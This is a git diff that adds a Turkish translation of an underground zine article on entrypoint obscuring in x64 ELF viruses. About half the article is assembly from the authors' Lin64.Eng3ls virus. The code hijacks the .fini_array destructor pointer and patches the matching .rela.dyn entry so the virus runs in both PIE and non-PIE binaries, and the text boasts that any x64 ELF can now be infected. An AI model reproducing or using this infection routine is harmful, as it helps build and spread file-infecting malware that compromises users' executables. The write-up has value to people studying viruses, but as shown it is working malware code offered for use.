diff --git a/2/tr/0.html b/2/tr/0.html index 6a974aa..abea633 100644 --- a/2/tr/0.html +++ b/2/tr/0.html @@ -2,7 +2,7 @@
diff --git a/2/tr/1.html b/2/tr/1.html index 7c76807..9c86c3d 100644 --- a/2/tr/1.html +++ b/2/tr/1.html @@ -2,7 +2,7 @@Bare Metal Jacket - +diff --git a/2/tr/15.html b/2/tr/15.html index 1590cec..2b9253f 100644 --- a/2/tr/15.html +++ b/2/tr/15.html @@ -2,7 +2,7 @@ELF Kaynakları ve Linkleri - +diff --git a/2/tr/2.html b/2/tr/2.html new file mode 100644 index 0000000..c66f0a4 --- /dev/null +++ b/2/tr/2.html @@ -0,0 +1,141 @@ + + +A short note on entrypoint obscuring in ELF binaries + + + + ++ ___________ __ + \__ ___/____ ______ ____ __ ___/ |_ + | | / \\____ \ / _ \| | \ __\ + | || Y Y \ |_> > ( <_> ) | /| | + |____||__|_| / __/ /\ \____/|____/ |__| + \/|__| \/ + ++----------------------------------------------------------------------------+ +|::::::::::| A short note on entrypoint obscuring in ELF binaries |::::::::::| ++----------------------------------------------------------------------------+ + +s01den'den sevgilerle. +[ M. Akil Gündoğan tarafından çevrilmiştir. ] + +-------------------------------------------------------------------------------- +Önceki yayınımızda Sblip ve ben, sizlere x64 ELF dosyalarını enfekte eden virüs- +ümüz Lin64.Eng3ls'ı sunmuştuk. Bu virüs birtakım havalı anti-RE tekniklerini; +basit şifreleme, entrypoint gizleme (EPO/entrypoint obscuring) ve bir ptrace +çağrısı kullanılarak .init_array hijacking yoluyla debugger tespit yöntemlerini +içeriyordu. + +======================== tmp.0ut #1'den kısa bir hatırlatma ======================== +EPO yöntemi uygulanmayan virüslerde, entrypoint virüsün bulaştığı dosyalarda virüsün +başlangıç noktasıyla değiştirilirken, EPO virüslerinde virüsler daha farklı yollarla +çağırılabilirler. Bu virüslerde virüse ait kodlar ister başka bir yolla, ister +burada olduğu gibi gizlenmiş bir jump çağrısı ile çağırılabilirler. Bu teknik +yürütülebilir dosya formatının kötüye kullanılmasıyla gerçekleştirilir. +===================================================================================== + +Eng3ls'da EPO tekniği, virüsün ilk komutuna işaret etmesi için .fini_array section'ı +üzerinde (destructor'ı gösteren bir pointer ifade eden) içeren birtakım değişiklikler +yapıldı. Ancak virüsü yazdığımız sıralarda bu tekniğin sadece PIE (Position Independent +Executable olmayan dosyalar için işe yaradığını düşünüyorduk, haliyle Eng3ls bu nedenle +çok fazla dosyaya bulaşamıyordu. Tekniğimizin PIE dosyaları için çalışmasını bir türlü +sağlayamamıştık. + +Fakat Tmp.0ut #1'in yayınlanmasından birkaç ay sonra bu sorunu tamamen çözmek amacıyla +debugger'ı başlattım. Sorun destructor pointer'ının tutulduğu farklı bir yerin olmasıydı: +.rela.dyn section'undaki bir entrypoint noktası. Bu durumda sadece virüsün ilk komutunun +adresini patchlememiz aslında yeterliymiş! + +--------------------------- KES-BURAYI ----------------------------- +parse_shdr: + xor rcx, rcx + xor rdx, rdx + mov cx, word [rax+e_hdr.shnum] ; rcx program header tablosundaki entry sayısını tutar + mov rbx, qword [rax+e_hdr.shoff] ; rbx program header tablosunun offset'ini tutar + mov dx, word [rax+e_hdr.shentsize] ; rdx program header tablosundaki entry boyutunu tutar + +loop_shdr: + add rbx, rdx + dec rcx + cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, EPO tekniğini uygulamak amacıyla değiştirmek istediğimiz section (.fini_array) + je dtor_found + cmp rcx, 0 + jg loop_shdr + +dtor_found: + mov rdi, qword [rax+rbx+e_shdr.offset] + mov r12, qword [rax+rdi] + + xor rcx, rcx + xor rdx, rdx + mov cx, word [rax+e_hdr.shnum] ; rcx program header tablosundaki entry sayısını tutar + mov rbx, qword [rax+e_hdr.shoff] ; rbx program header tablosunun offset'ini tutar + mov dx, word [rax+e_hdr.shentsize] ; rdx program header tablosundaki entry boyutunu tutar table + loop_shdr_2: + add rbx, rdx + dec rcx + cmp dword [rax+rbx+e_shdr.type], 0x04 ; 0x04 = SHT_RELA, EPO tekniğinin çalışması için bu section'a ait entry'i değiştirmemiz gerekiyor. + je rela_dyn_found + cmp rcx, 0 + jg loop_shdr_2 + + ; ELF'in PIE olup olmamasına göre adres hesaplanır + check_pie: + pop rdi + cmp word [rax+e_hdr.type], 2 + je check_non_pie + cmp qword [rax+rdi], 0x00006000 + jng continue_infect + mov rdi, r8 + mov rax, 3 ; close sistem çağrısı + syscall + mov rsp, rbp + ret + + check_non_pie: + cmp qword [rax+rdi], 0x0c000000 + jng continue_infect + mov rdi, r8 + mov rax, 3 ; close sistem çağrısı + syscall + mov rsp, rbp + ret + + ; .rela.dyn section'ını bulduğumuzda çağırılacak + rela_dyn_found: + push rdi + mov rdi, qword [rax+rbx+e_shdr.offset] + xor rcx, rcx + .loop: + lea rbx, [rdi+rcx*8] + mov r10, qword [rax+rbx] ; r10 section'dan elde ettiğimiz adresi tutar + cmp r10, r12 ; r12 .fini_array section'ında tutulan (biz düzenleme yapmadan önceki) adresi tutar + jne .continue ; değiştireceğimiz doğru adresi bulana kadar döngü sağlanır + mov qword [rax+rbx], r9 ; doğru adres bulunduğunda virüsün EP (entrypoint) adresi ile değiştirilir + mov rcx,0xf + .continue: + inc rcx + cmp rcx, 0x10 + jne .loop + jmp check_pie + + continue_infect: + mov [rax+rdi], r9 ; virüsün EP adresini .fini_array section'ına yazdık. + ; ... + ; değişiklikleri uygula +-------------------------------------------------------------------------------- + +Artık PIE olmuş olmamış fark etmeksizin her x64 ELF dosyasına EPO tekniğini kullanarak +virüsümüzü bulaştırabiliriz. +Her ELF dosyası? Hayır aslında tam olarak değil... Bunu bir sonraki sayımızda göreceğiz! + +Günün güzel geçsin! + +------> Sevgiler: +Sblip, TMZ, netsp00ky, smelly, tmp.0ut ekibi, Sh4ll, 0kb, Xylit0l ve underground +kültürünü yaşatan diğer tüm kimselere! +Infosec camiası ve bütün kapitalist domuzların canı cehenneme. + + +